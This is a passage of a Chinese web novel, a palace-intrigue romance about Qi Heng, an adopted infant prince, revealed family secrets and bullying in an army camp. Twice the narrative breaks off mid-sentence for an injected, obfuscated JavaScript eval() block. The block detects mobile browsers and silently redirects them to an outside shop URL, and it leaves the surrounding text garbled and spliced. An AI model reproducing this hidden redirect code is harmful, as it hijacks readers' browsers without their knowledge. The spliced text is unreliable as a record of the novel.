还好这小家伙身子骨结实,这么折腾了一番也还能自己吮吸奶水,吃饱了就睡,不哭也不闹。 他的眼睛已经被赵繁英上了药,将来能恢复成什么样就看造化了。 戚姮抱着赵又回了寝居,摸黑躺回床上,浑身虚脱无力,只想好好睡上一觉。刚往里挪了挪,一双手突然搂上了腰间。 后煜从被中探出头,迷迷糊糊挨到戚姮身边,准备继续睡。 “我给你生了个儿子,你要不要?” 后煜反应了许久,突然坐起:“什么?” “呶。”戚姮示意他看过来,“这呢。” 后煜狐疑地趴在戚姮身上,细细分辨那一团不明物体,当他逐渐看出五官人形,认清这是个襁褓婴儿时,人都傻了。 “真的是你给我生的?”他指着赵又,大惊失色地看着戚姮,“我儿子?” “你还真信啊?”戚姮敲了一下他的脑袋,后煜吃痛地抱住头,“昨天才和你搞,今天就飞速生个孩子出来,你是傻子吧。” “那这是谁啊?”后煜还没睡醒,思绪也糊涂,心中慢慢升起个最扯的猜测,“这是,是你在外的孩子?” 戚姮:“……” “怎么会这样……有点太突然了,我得缓缓,缓缓。”后煜慢慢缩回了被窝,蒙住头,半晌过去,静谧的空气中响起他的哭声。 戚姮:“。。。” 赶在他大哭之前戚姮一把掀开被子,忍无可忍道:“这是贤妃娘娘刚生的皇子!你一天天到底在想啥呢?” 后煜撇下的嘴角一滞,止住了啜泣,骨碌骨碌又起来:“皇子?皇子怎么会在这?” “皇家秘辛,你还是别好奇得好。” 他的脑中迅速闪过一出夺嫡大戏,皇位之争,狸猫换太子,恍然大悟:“那你要养这个孩子吗?” 戚姮沉默片刻:“没想好。但总不能将他扔了。” 后煜思忖着枕在戚姮的身上,伸手过去戳了戳婴儿的小脸:“养孩子倒是简单,可这孩子的来历没办法解释。出现的太突兀,岂不是更引人怀疑。” 他说得对,甚至这个孩子就长成波斯那边的样子,戚姮说是捡来的都无法令人信服:汴京城内见不着这种孩子。 那便只能是她自己生的。 她在所有人眼皮子底下晃悠了一圈又一圈,婚没结,肚子也没大过,想名正言顺公布出来,必须等十月之后。 明眼人一看就能看出月份,那时孩子已经快要一岁了,会翻身学说话。想真的带出来不被怀疑,还要继续等个一年半载,彻底看不出具体年龄。 可风险太大,赵繁英没有找养子的意思,对外只宣布皇子过了一晚上就夭折了。万一侯府这里泄露了消息,被人推测出了具体月份年龄,难免不会联想到他那边。 戚姮沉思良久,终于是想出了个招:“等过几日,咱带着他一起去波斯。” 后煜诧异道:“带他去波斯做什么?” 戚姮说:“找我舅舅的舅舅,给他养,总不会出错。” “他这么小,能受得了舟车劳顿的颠簸吗。” “受不了也得受,不然就真的只有死路一条了。” 戚姮闭上眼,困得根本撕不开:“等他养养再走,反正不是为了完成什么任务。文则此行走得慢,一直被官家的人保护着,也不怕出事。我们跟在后面,找到她就成。” 后煜点了点头,起身跟戚姮调换了位置,准备抱着襁褓在外侧睡。 “他叫什么?” “赵又。” …… 夜间,婴儿哭声此起彼伏。 戚姮本就两天没休息好,身心俱疲,被吵得拉过被子蒙住头,依旧抵挡不住极具穿透力的哭声。 偏偏她还担心小东西的安危,不让别人带走,只能留在房中,自己默默忍受。 整整一晚上,他哭一次后煜就起来哄一次,抱着襁褓来回晃荡着安抚。又是喊人喂奶又是哄睡,一边抱着一边在房间里转着圈踱步。 后来发现他抱着不哭,放下就开始嚎。为了不吵戚姮睡觉,后煜就一直抱着,直到天亮都没再停下过。 戚姮睡得七荤八素之时睁开了一只眼,瞧见后煜散着头发,昏暗中注视襁褓的目光极其温柔,半点没有被打扰休息的怒气,心里只冒出一个想法: 这小子还挺喜欢孩子。 紧接着就两眼一闭睡死了过去。 · 戚姮一连好几日兴致缺缺,门也不出,床也不怎么下,待在屋里几乎不动弹。 她要么眼神空洞地看着天花板,要么就睡觉。也不说话,饭菜做好了也不想吃,搞得后煜刚哄完孩子,还要回来劝她吃饭。 “我爹还没回来吗。”戚姮把后煜各种长篇大论抛诸脑后,只这么问。 后煜讲的口干舌燥,伸手撑在床边缓了缓:“听人说,下午就能赶到。” 她闭上眼又要睡觉:“那等我爹回来再说吧。” “……” 后煜感觉被忽略了。 屋内沉寂了下去,他的指尖绕了绕垂下的衣袖,干坐许久,忽然小声开口:“你心情不好吗?要是不高兴,可以告诉我的。” “没事。”戚姮缓慢地摇头,“我就是太累了,让我休息两天就行。” 后煜抿着唇,心里很是纠结。 他瞧着戚姮的脸,因为太久没喝水嘴唇有些干裂,只纠结了一会儿便开口道:“……如果你是因为信王的事伤心的话,其实,他从头到尾都没想害你的命。至少证明,他还念些旧情,不用太过难受。” 戚姮睁开了眼,冰蓝的眸子未起任何波澜。 后煜继续说:“小又今天睁眼了……不知道猜的对不对,但我好像知道你为什么会把他带回来了。” “既然你信我,我这辈子绝对会烂在心里,谁也不说。” 他摊开手到戚姮眼前,现在只余一道结痂还在掌心,笑了笑:“你看,我的手也拆线了,现在都不怎么痛了。” 戚姮垂眼扫过,他那道结痂依旧可怖,日后会留一条疤痕,皮肉筋骨想要彻底长好,至少还要再等两个月。 不过,必然会向好去发展。 他拨开戚姮缭乱的发丝,这张脸近些日子有了些许憔悴,此刻木然地看过来,眼神空洞,看得他心疼。 “人心易变,世事难料。单单因为赵初算计你,或者公主,官家,他们又怎么对你。你就不吃不喝,一蹶不振,这肯定不行呀。” 戚姮从皇宫带着孩子回来以后就跟魂被抽了似的,他打探了一圈,半分消息也没得到。 有心无力,也只能从这些角度尽量说些安慰话。 后煜顺着她的脑袋,轻轻哄着:“皇家无情,亲兄弟尚且反目成仇,遑论其他人。” “但你还有自己的小家,大不了就学侯爷,门一关,不参与他们的尔虞我诈。我陪你在家种花养鱼,没什么过不去的。” 窗缝撒下的太阳光照在他的后脑勺上,发丝染了层辉光,为后煜镀了层金边。清浅的笑意挂在后煜眉梢,衬得都格外明媚了几分。 发自内心的温柔溢于言表,被这种情绪围绕的感觉很奇妙,不由自主地就会放下郁结。 戚姮一眨不眨地盯着他,初见时的扭捏与局促已经在后煜身上看不见了,辞去职务后原本透露着淡淡疲惫的脸养得红润不少,精神头都比曾经好了。 以至于戚姮才反应过来,如果后煜没有从小受过那么多磋磨,大概率就是会长成这般温声细语,温文尔雅。 好像个大哥哥…… “现在不想吃饭就等晚上,晚上一定要吃点。等侯爷回来了,我再来喊你,好吗。” 看到戚姮点了点头,他才有了些笑容,天热也用不着盖被,为戚姮整理好衣裳,后煜起身便走。 她的声音在身后响起:“灵灵。” 后煜扭头:“嗯?” “我对赵初一直没什么没兴趣,也不是因为他才这样,是别的事情。” 后煜向来是个敏感又爱胡思乱想的性格,戚姮也不知突然哪来的耐心,居然会想给他解释一下,省得他再偷偷跑去墙角哭半晌:“你说的话我会好好想想,谢谢。” 后煜一愣,随即笑道:“不难过就好。” · 今天太阳好,郎中说早产儿生在夏天很幸运,天暖和的时候适当带小孩出来晒晒也很有好处。 后煜坐在院中椅子逗孩子,自他睁眼以后比之前还好玩了些,更是乖得不行,不饿不难受的时候就安安静静躺着,半点也不闹。 好生养了几天,小娃娃已经变得又白又嫩,后煜捏了又捏,手感超好。 后煜逗了一会就发现不对劲了,他的左眼眼珠转得有点慢,细细观察,好像瞳孔都有些涣散。 难道是刚睁眼还不适应? “这是啥?”旁边悄无声息窜出来个脑袋,惊奇地瞪着后煜手里的孩子,憋出一句,“我孙子?” 后煜吓了一跳,戚砚走路跟戚姮没区别,半分动静也听不见。 他也不知道怎么解释,挠挠头还没等开口,戚砚一把就给抢走了:“我这才出去几天,孙子都有了。” “看模样是我闺女生的,可是我怎么不知道。”他嘀嘀咕咕道:“难道是不敢告诉家里,在外偷偷生的……?” 戚砚的目光斜过去,和后煜大眼瞪小眼,后者满面写着“我不知道啊”。 他瞬间就猜出了个来龙去脉,在原地傻愣了许久,语重心长地开始了:“那个,小解啊。” 后煜唇角抽搐一下。 “叔也算半个看着你长大的,必须得说一句。正所谓,君子之度,在于海纳百川,容人之量。” “既然有了孩子,你就当亲生的,好好对他。以后还是你们一家人过,既然草儿不把那男人带回来,就证明她压根就不在乎外头的人,你不要心里不平衡。” 后煜:“……” 戚砚嘟囔着“那也不对啊”就开始算日子,戚姮就没有离开他的视线超过两周过,咋可能瞒天过海,怀胎十月,整个娃娃出来。 算到最后他也不管哪不对了,看见这模样就深信不疑是戚姮亲生的:“我才三十多就当爷爷了,哎呀,我得带去我爹坟上看看。” “…………” 后煜正苦恼现在告诉他真相会不会被一顿扁,房门就“吱呀”一声被推开,戚姮站在门口,喊住了戚砚的步子:“爹,你回来。那不是我生的,是舅舅的。贤妃娘娘早产了。” 戚砚一腔热情瞬间被浇灭,不可思议道:“赵繁英的?” “嗯。” 他面无表情倒退回来,还给后煜:“你这孩子还学会开玩笑了。我不要了。” 后煜百口莫辩。 戚姮让他继续坐着晒太阳,拉着戚砚跑去后花园,躺在草地上,她才捂着脑袋长舒一口气。 戚砚刚从北边军队回来,脸上吹了一层风沙,脸没洗衣裳没换,见戚姮有心事的样子忍不住问:“怎么了?案子查不出来,压力太大了?” 戚姮扭头,直直盯着戚砚。 “难道想你老爹了?” 她目光幽幽,还是不说话。 戚砚被盯了半天,实在受不了地搓了搓胳膊:“到底怎么了,怪瘆得慌的。” 戚姮说:“我辞官了。” 戚砚也没什么反应:“辞就辞吧,一堆破事影响心情。” “还有,”戚姮话到嘴边,脑袋更疼了,“你听了别激动。” “还有什么比赵繁英的孩子出现在这更奇葩的?”戚砚向后瞅了一眼,“他长这样,没法留才送来让你养了吧。” 戚姮:“赵文则,是我一母同胞的亲姐姐。” “……” 戚砚怔愣着转过脸,惊疑诧异震撼各种情绪在他脸上呈现了个遍,沉默了好半晌才否认:“不可能!你娘跟我说她就只怀了一胎,就你一个。况且赵繁英是她亲哥哥,怎么可能。” 戚姮大惊:“你也知道舅舅是我娘的亲哥哥?为什么你们都说是堂哥。” “我当然知道了。亲哥堂哥反正都是你舅舅,没什么区别。” “就我不知道?”戚姮在草地上滚了好几圈,“我活得跟个傻子一样。这到底什么情况……?我的头好痛。” 她一边嚎一边翻滚,抱着头,控诉全天下都在骗她。 “快跟我说,这到底是怎么回事!” 戚砚向后撑着地,腿被她滚动着撞来撞去,略微一回忆,就想起了往事:“当年,你娘前脚进侯府,赵繁英装成郎中后脚混了进来。” “你娘的病自小带着,时常发作,需要郎中时时调养。他俩一见面,你娘给他打掩护,就让赵繁英留了下来。” 戚姮三两下又滚了回来,停在戚砚身边,仰起脸认真听。 戚砚冷笑了两声:“那时候我不知道。你娘进中原自己改了名字,叫明蝶香,赵繁英混进来后说叫明殊。我跟个傻子一样还觉得这么巧,都姓明。” “结果你娘就是用她哥的名起了个姓。瞒不下去了才跟我说是堂哥。赵繁英原名叫……独孤明殊。” “一开始,你娘也不知道这是她亲哥哥,是后来在波斯恰巧遇见解檀,他了解内情,才跟你娘说了真相。” 戚砚又告诉戚姮另一个全新的版本:“永懿公主当年生的是龙凤胎,因着当时波斯国师有预言,说她的孩子要是登上王位,能助波斯一统中原。” “先出生的是赵繁英,男孩,她怕预言成真,非要解檀摔死。解檀不忍心,塞去了当时五王子府中,顶替了原本的独孤明殊,才让他活了下来。” “什么?!”戚姮惊呆了。 这流程跟前几天几乎一模一样。 戚砚点点头:“就是这样,解檀亲口说的。” “解檀还说,公主不是真的爱上了独孤尧才去的波斯,是她看不得西北边境连连受挫,在独孤尧进京谈和时主动找上的他。” “太后就这一个女儿,不愿意她去波斯,公主就背着她跟独孤尧跑了。不想让她背上骂名,太后才宣称她薨逝于宫中走水。” “波斯的国力几乎被独孤尧一人撑了起来,他是个军事人才。公主也很厉害,嫁过去后在独孤尧与前朝之间挑拨离间,栽赃嫁祸,扰乱了他的政治根基。神不知鬼不觉地彻底把他从权力中心拉了下来。” “差不多就是在那以后,独孤尧的位置被人顶替,波斯军队节节败退,再也打不过中原了。” “她部署好了一切,临到最后策反最废物的五皇子篡位,为他一路扫清障碍敞开大门,所以这个草包才能登上王位。” 戚砚摊手:“后来的你就知道了,太子府被五皇子政变给抄了,独孤尧被公主杀了。她想要斩草除根,还是赵繁英跑过去,才把你娘给救走。” “公主这种人物,极具帝王风范,并不会在乎孩子的死活,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你娘这个身子,出生被说活不过五天,解檀拉扯到十五岁,你舅舅又续到二十五岁。实在撑不住了,临最后,想为你找个可靠的家,才把你留给了我。” 戚姮四岁才被带到了戚砚面前,在此之前,一直都是赵繁英在照顾。从襁褓婴孩到咿呀学语,再到走路写字,会说的第一句话都是舅舅。 即便后来他翻身做到皇帝,也没有改变,三天两头找侯府要人,接进宫研究戚姮的病,不断试药治疗,才得以在十岁那年根治。 多少皇帝连对自己儿女都做不到这样。 戚姮想了想,除了刚回来的时候跟他置气,他还从来都没有那么吓唬过人。 “你娘跟我说她就你一个姑娘,再也没有了。文则不可能是她的,怎么可能。” 戚砚说着,突然双手抱头嚎了起来:“怎么不可能……她之前还跟我说没有你。你娘都死十二年了,又冒出来个十九的闺女。” 戚姮:“……” “哎呀,爹。是双生子,我跟文则是双生子。”戚姮推了推戚砚,“就是长得稍微有些差距的那种双生子。” 戚砚的嚎啕声突然止住。 “前几天贤妃娘娘生产,舅舅把这些都告诉我了。” 戚姮支着脑袋,面露迷茫:“他说我娘身体不好,不能生产。想让她堕胎,她不愿意,为此吵了架,我娘就赶他滚,直到生的那天才肯见面。” “当时只生出一个她就因为失血太多晕了,再拖下去母子俱亡,舅舅才为我娘开刀,铤而走险,剖腹取子。” “他很生气,因为他也觉得我娘要死了,一气之下把我和文则都送去了外头的庄子。我娘昏迷了一个多月,某天居然醒了,他就说孩子没救活。” 戚姮又叹气:“所以我娘真的只知道文则的存在。” “这样啊……”戚砚庆幸地拍拍胸口,“还以为你娘又骗了我。” 一胎生一个也是生,生俩也是生,当年能接受这个,顺带着也能接受另一个。 他庆幸完就觉得不对了:“赵繁英怎么想的?他为什么只把你交出来?他什么意思?” “我也问了。” 戚姮眉宇间的郁气并没有因为把心事都说出来而消散,稍稍停顿后,道:“舅舅知道自己的身世,恨,小时候就想把我娘杀了。混进太子府时就想这么做,一见面,没舍得。反倒救了她回去。” “但那股气没散,就发誓不让我娘知道她还有个女儿,想报复她。” “……”戚砚匪夷所思地,“神经病。” 戚姮想想赵繁英也有这么幼稚的时候都哭笑不得:“送我来也是为了挑拨你们两个的关系,这样我娘就不好受,结果你闹了两天就不闹了。” 戚砚:“我就说他一天天不安好心吧!你还跟他那么亲,他就是来拆散我们这个家的!” 戚姮:“其实我觉得呢,这很正常。任谁看见我这么聪明可爱漂亮善良懂事乖巧的小女孩都会想认来当女儿呢,是不是?” 她在戚砚怀里蛄蛹着卖了个萌,接着就听他说:“我生都生不出来第二个跟我一样自恋的姑娘。” 他连忙又道:“不对,比我更胜一筹。” 戚姮晴天霹雳:“……你怎么能这样。” 戚姮从小就知自己的亲爹不是戚砚,当年在波斯边境遇上,回来后为了合理,硬改把年龄小三岁,十九说十六。藏在侯府,也不见人,就说体弱。 直到今年彻底看不出多大了,虽生得没有十六那么稚嫩,但也不是不行,波斯人长得就是快些,才让她真的出现在大众视野。 看着戚姮从那么小一个长到现在,戚砚还是蛮有成就感的。 “我第一次见你的时候,你这么点。”戚砚比划,“知道我不喜欢你,你也不搭理我。你娘让喊爹,你非要喊哥。” “后来咱俩掉下黄河,冲到村子里,我连我叫啥都忘了。你记得,一直让我去找军队,还改口喊爹,就怕我把你扔下不管了。” “那时候你着凉生病了,得先给你治病,带着你当了一阵子土匪。直到你娘找过来,你立马翻脸无情,又叫我哥。” 戚砚笑了半天:“我真没见过这么记仇的小孩。等我全想起来,什么亲不亲生的,也没啥意义了。我和你正经聊过一次天后,你才开始慢慢跟我和解。” “是吗……”戚姮尴尬地摸摸鼻子,“我都不记得了。” 戚砚量她也不记得了:“你那病不好治,赵繁英用药猛,副作用大。七岁之前的事应该都挺模糊,或者干脆不记得了。” 确实是这样。 包括戚姮无论怎么想,都鲜少能想起亲娘长什么样。 一直都是他们两个说,说她站在这就能看出亲娘是谁,长什么样,连眉心红痣都一模一样。 戚姮才抱着镜子,试图复刻娘亲的模样。 她撑着下巴发呆,忽然呢喃一句:“那文则记不记得呢。” 戚砚认真想了想:“如果文则没被赵繁英刻意喂药抹去记忆的话,大概率记得。” “她记得……”戚姮心情更复杂了。 “你是怎么想的。”戚砚瞟着魂不守舍的戚姮,问道,“还有外头那小孩,是什么情况。” 戚姮叹:“舅舅没法养想摔死,我看不下去,就把他抱了回来。” 戚砚表情讪讪:“……我现在相信你舅舅是永懿公主亲生的了。” 她扯了扯唇角,笑不出来:“我的话,得去波斯。” “你……”戚砚瞳孔地震,颤抖了许久才把话说出口,“你要去找亲爹了?不要我这个后爹了?” 戚姮很无语:“是去找文则。她去波斯了,我要去找她。” “吓死我了。”戚砚这才如释重负,“你娘给你留了封信,她说如果哪天你要去波斯的话再拿出来。待会我给你找找。” “还有,”戚砚向外扫了一眼,“那个小解,我好像认出他是谁了。” 43. 并蒂双株【一】 侯府东厢房有一面墙与国公府共用,从这里翻过去,绕不了几步是解家宗祠,再向北走,就能潜进解烺的寝居。 夜黑风高,后煜身着深色衣裳搬来梯子,他向周围瞧了一眼,确定没人才爬上去,坐在墙上给梯子搬了过来,放在那,准备回去的时候继续用。 他顺着墙角,绕开巡查的侍卫,轻手轻脚翻了进去。 解烺正趴在床上看书,听到声音转过头,猝不及防和后煜撞了个正着。 后煜:“惊不惊喜。” 他还没来得及开口,后煜一步上前,死死捂住他的嘴拽下了床。 解烺身上还有上次挨家法的伤,全然不是后煜的对手,他掏出准备好的刷恭桶的抹布,上手往解烺嘴里一塞,再拿出白绫,一圈一圈迅速捆住他的嘴。 屋内除了“呜呜”声什么也听不到,烛火闪动一瞬,眨眼间后煜就把他摁在了地上,死死钳住解烺的手脚,直击面门上去就是一拳。 这一拳打得他瞬间眼冒金星,头重脚轻,无论怎么甩头都看不清眼前,不用后煜废太大力摁着,他也倒在地上半天没起来。 后煜抓着解烺的头发用力一扯,他被迫抬起头,他连扇了十几个巴掌,一下比一下狠,响亮的耳光声此起彼伏:“你不是很狂吗?” 解烺连眼睛都睁不开,依稀还有丁点意识,斜眼瞪向后煜,死命挣扎着想要踹向他。 后煜向旁边一躲,接着踹向他的腹部,丝毫不留情面的一脚,踹的解烺面上痛苦更甚,在地上蜷缩成一团。 “继续,来,继续。”后煜再次抓着他的领子硬薅了起来,“有本事继续往我脸上打。” 解烺疼得站不住,软绵绵地要往下瘫。正胸口结结实实挨了一脚,他整个人向后仰面栽倒在地,白绫逐渐殷出血迹斑斑。 “曾经想过这一天吗?” 后煜就是不放过他,继续薅着解烺起来,抡圆胳膊一拳捶过去:“我有没有说过最好别让我逮到机会?” 解烺已经处于一个将要昏死过去的濒临状态,半分反应也没法给他。 后煜发泄似的一顿拳打脚踢,等他打尽兴了,才一脚把解烺踢到一边,喘着气,甩手道:“要是敢告状,下次见面我宰了你。” 也不管解烺听没听见,反正后煜浑身舒坦,欣赏了一遍才扭头离开了现场。 刚走到门口要推门之际,恰巧与梅天凌迎面碰上。 “……” 这个嫂子看见是他满脸的惊讶,后煜更惊讶,没想到点这么背,正好撞到人。 他脑中迅速过了一遍要不要打晕,但听说她还在哺乳期,刹那间就放弃了想法。 后煜低下头,迅速从旁边撤离,他跑得比兔子还快,迅速从来时的地方爬梯子又翻回去了。 · “姓何的那个指挥使撤了没。” 戚姮站在石上流舍的木桥边,捻着鱼食撒进水面,看着锦鲤绕过荷叶追逐,浮到水面争抢食饵。 艾憬点头:“换了。照你的要求,依此次军功选人。” “我过几天得出去一趟,有事传信联系。把军队看好,尤其是北凉收编的那一群,还有府里这公主。”戚姮朝呼延绰居住的方向抬了抬下巴。 “像姓何的这种,隐瞒军情不报是大忌。还好呼延绰没动过坏心思,不然她作为从犯,十个头也不够杀的。” 戚姮沉吟片刻:“选出来的新指挥使是谁?” “姓花。名照水。” “啊……我记得她。话很少,杀人很厉害那个。”戚姮还挺满意,“这性格可以,起码不该心软的时候不会心软。” “去把姓何的例子拉去讲一遍,以儆效……算了,我亲自去看看吧。” 明个就要走了,今天再不看,也不知道啥时候才能回军队。 今天风沙大,太阳还毒,烤在脸上发着烫,这一路过来戚姮吃了满嘴灰。 “呸。”戚姮伸手扫了扫脸前,“今天刮哪的风,都快赶上北凉的扬尘了。” 艾憬感受了一下:“西南风。” “怪不得咱这这么热。”戚姮边走边猜,“也不知道军队里收没收到我官被撤了的消息,不认我了咋整?” 艾憬:“不会。虽然职位被撤了但爵位还在,军队认定远侯比认朝廷军职的多得多,综合来说,没有区别。” 戚姮点点头:“有道理。” …… “世子来视察了!” 一女兵急匆匆从外飞奔进营队,挨个揪起地上坐着聊闲天的其他人,神情焦急地喊:“都别玩了,快起来快起来!” “啊?世子是哪位?”被她稀里糊涂拽起来的年轻姑娘疑惑道。 “你一天天都在忙什么,这都不知道?”她骂了一句,“是副官啊!她早就升官了。” “副官?!”原本还迷瞪的姑娘瞬间精神抖擞,“怎么是副官?我还以为有人叫世子呢。” 那女兵已经跑远了,声音遥遥飘来:“让你多读点书,跟害你似的——” “戚姮来了”的消息如插了翅膀般飞过一整个营。 正在玩的闹的睡的全都一个激灵爬了起来,着急忙慌正好衣冠从四面八方涌来训练场。 “诶。妹妹。她们在忙什么呢?” 正低头打扫卫生的女兵肩上落下一掌,地下全是散落的果皮,她被留在这清扫,情绪崩溃地边扫遍抱怨。 她连头都没抬,回道:“啥时候了!别聊天了!我还得快点归队,让世子看见我们都在这玩不得加练到后半夜!” “噢。”戚姮点点头,“你们指挥使呢。” “不知道。又被那几个耍去砍柴磨面了吧。” 戚姮疑惑:“这不是新兵做的吗?怎么让她做。” “你真不知道假不知道?姓花的不一直被领头那几个耍着玩。” 戚姮扭头看向艾憬,艾憬摇摇头表示不知道。 “军中欺凌,欺到指挥使头上了。” “你这人是不是多管闲……”她一转头,正好跟戚姮四目相对,忽地尖叫了一声,“副官……世世子!” 炊事营只有一道劈柴的身影,远远瞧见她手起斧落,一气呵成,面容平静的没有半分勉强之色。 她的身侧堆积着大大小小成捆的木柴,风沙太大,要先用石板压住,每劈完一批就抬起再放进去一些。等堆的够多了,再将所有木柴捆成摞。 艾憬得了来寻人的命令,打听着来到这,就见花照水正毫无怨言地麻溜干活,压根不知道自己所统管的军营,莅临了个监察长官。 “可是花指挥使?” 花照水闻声,这才撇过视线,看着来人点头。 尘土糊脏了她的半张脸,五官却清晰可辨。布条束紧了头发,没有杂发遮挡的面容淡漠无表情,眼睛生的倒是明亮透彻。 艾憬看着她,明显一怔。 “跟我来一趟吧。”艾憬掩下神态,“世子有请。” 花照水是临近出征前招来的兵。 当初北伐在即,军队急缺人手,连审查力度都轻了不少,她假扮男人模样混进来,没有任何人发现。又恰巧赶上了好时候,戚姮没半年就翻身从白丁上位,在边境扩招新人,开放了女兵招募通道。 花照水向上坦白,才从男兵营调走,分到了女步兵营。 戚姮同样是那个时候听到了这名字。 她在这个几乎全是新兵的队伍,是鲜少有作战经验的一个。于是和选拔出来有天赋、准备培养的另外四十九人组成了陷阵队。 陷阵队凶险,劳苦,突击需要精悍快捷,速战速决。连战甲都不能穿,几乎是以肉身直面长枪短刀。 但立功的机会极大,砍下一个敌方将领首级进爵一级,子孙后代可以世袭,赏银千两。 第一批陷阵队的兵已经都死完了,只剩下她一个。 按理来说拥有这种能力的人封侯都不在话下,但,除了每次都能得到她没死的消息,别的再没没听过半分。 不突出的能力,做不到出类拔萃。但又比普通人强很多,永远能全身而退。 听着有点可惜,但转念一想,两年混到指挥使,也不错了。 “你……小时候有没有走丢过。” 花照水跟在她的旁边,闻言说:“没有。” 艾憬蹙了蹙眉:“你家是哪的。” 花照水:“汴京。” 艾憬继续问:“你爹娘可都在?” “在。” “家中兄弟姊妹几个?” “两个弟弟。” 艾憬心里疑惑着,又问:“你多大了?” “十九。” “生辰哪月哪日?” “腊月十七。” 这人还真是老实……问什么答什么。 艾憬计算着时间,闭嘴不再追问了。 临进营地前,花照水远远听见了一声怒喝,随即是不间断的骂声,语速之快音量之大,令人那么远听了都精神一震。 她突然停下了脚步,半天都没往前走。 艾憬瞧了她一眼:“你知道你手底下的兵在训练时间插科打诨吗。” 花照水摇头:“副使说,我去劈柴,她会看着。” “……”艾憬无言以对,“管理你的营队才是你现阶段的工作,别的事情交给别人干,你的事情干不好会被问责,挨军法。” 花照水皱了下眉。 “态度好些认个错,不会出太大问题。”艾憬领着她继续走,“世子向来严禁军中欺凌。你是受害者。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531492|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 戚姮这辈子也想不到,当了官还被欺负的人能被她碰上两个。 后煜还能解释为打不过,她就很好奇花照水是因为什么。 花照水来到正捂着额头缓和情绪的戚姮面前,她骂了一刻钟,脑袋嗡嗡。又进了一嘴沙子,心情很差,连带着周围气压都跟着降低几分。 她骂得狠,罚却不重。原本足以挨军棍降级去做苦役的罪被戚姮轻描淡写赦免不少,主要是人太多,罚不过来。 只安排着去加练,不到子时不许休息,连晚饭都不许再吃。 戚姮很明白主要问题并不在底下小兵,她们敢集体偷奸耍滑自然是得了领头的首肯,必然出自指挥使与副使身上。 不将上层问题解决,底下人估计都不知道该听谁的话了。 “见过世子。” 花照水单膝跪在戚姮面前,垂着眼睫说道:“是属下失职。” 戚姮放下手,自上而下俯视着她:“你要是不能干就滚。” “好。” “……?”戚姮呆滞许久,“我没让你真滚。” “多谢世子。” 戚姮人都傻了,下意识看向艾憬,想问问这到底是个什么人。 艾憬居然转过了头,在那偷笑。 她平复了下心情,正常道:“我的意思是,你作为新上任的指挥使,底下有人不服很正常。你应该去压制这些声音,不是甩手不管……你去哪了?” “砍柴。” “谁让你去的。” “宋副使。” “她让你去你就去?” 花照水颔首:“宋副使说,炊事营缺人,我作为指挥使应该承担士兵的一部分生活保障,我去最合适。而且,砍柴可以多吃一碗饭,我饿。” 戚姮:“……” 艾憬笑得快起不来了。 她又问:“有人克扣你的吃食吗?” 花照水否认:“没有。属下只是吃得多。” 戚姮算是听懂那女兵口中说的耍她玩是什么意思了。 这性格未免也太迟钝了些,说什么都听,问什么答什么,老实成这样的人,一直是军队热爱欺压的对象。 戚姮发现就不能跟她说反话,深呼吸一口气,继续问:“她们是一直都这样吗?” “不是。”花照水如实说,“属下在的时候没有人偷懒。应该是刚坐下,就被发现了。” 戚姮:“我问的是一直都让你去做苦力吗。” “副使说缺人,我就会去搭把手。” 花照水停顿了片刻,补充:“军律上也说,指挥使不在,副指挥使监管营队,是合规的。” 戚姮哼笑一声:“确实合规。她把你支走,靠这招拉拢人心,抱团排挤指挥使。你没感觉到吗。” “没有。她们在训练时很听我的话。” “我感觉她这性格,应该正乐得清静。”艾憬凑到戚姮耳边,小声道,“一天够呛说五句话。” 戚姮说:“主要是这个副使,心眼太多,发展成了欺凌,她去哪都会祸害一堆。” “要换吗。” “按军法处置了,送出军营。”戚姮对艾憬说完,冲花照水道,“如果我下次来,还是这个样,你也滚。” 花照水点头:“是。” 戚姮盯了她半晌,花照水就一直低着头,一言不发。 她猛地出招,将要击中花照水的喉口前被一拳挡住,戚姮顺势脚下发力,直直踢了过去——! 花照水本跪在地上,此刻一手撑地腾空翻起,拧身躲过了这招。 她向后退了两步站定,戚姮与她相望,这才刚看清花照水长什么样。 戚姮眨了眨眼,反手捂着嘴,低声问艾憬:“你看她长得像不像……” “像。”艾憬都没等她说完。 戚姮诧异:“你也看出来了?” 艾憬:“很像。尤其是眼睛。” “这身手当指挥使可惜了吧……”戚姮想了想,“我让官家调她去侍卫步军司都虞候,反正前身在陷阵队,也配得上。你在旁边教教。” 艾憬点头:“好。” “我现在终于知道,他们说我站在那就像我娘活过来了是什么意思。”戚姮反复比对多次,还是觉得惊吓,“这张脸长谁身上都好看哈。” “……”艾憬说,“你以前很嫌弃他。” 戚姮:“哎呀,你赶紧把之前的事给我忘了。” 戚姮若有所思地走到花照水面前,她垂下眼,道:“属下冒犯了。” 她伸手拍了拍花照水的肩,一声响指,忽地变出朵花:“等我下次再来找你。” “……” 芍药还鲜艳,没被风沙摧残,似是刚折的,一直被藏在袖中。 44. 并蒂双株【二】 侯府大门紧闭,烈日底下,解修竹伫立在门外,拍得震天响。 “戚姮!我知道你在家!出了事就当缩头乌龟,这是你的作风吗?还让侍卫锁门,你什么时候变这么怂了?把门给我打开!不然……” “不然什么。” 戚姮的声音阴恻恻地从耳边响起,解修竹头发都要竖起来了,伸手挡在身前,向后退了好几步,跟见鬼了似的看着她。 “你不在家?” 戚姮环着胳膊,似笑非笑:“你自己都说缩头乌龟不是我的作风。” “……” 侯府白日里不会关门,戚姮扫了这异常的一幕,了然道:“我爹出门了,家中只剩一群下人。你又这么气势汹汹地上门来闹,肯定会把你儿子吓得不敢开。” 哪知解修竹就是听见这句话,脾气一下子上来了:“他不敢开才是有鬼!” 他没好气道,“正好,你把门给我打开。” “干什么干什么?”戚姮嚷嚷:“在我家门口安排起我了,你闹哪样?再闹事我可打你了,我不管你是不是我岳丈。” 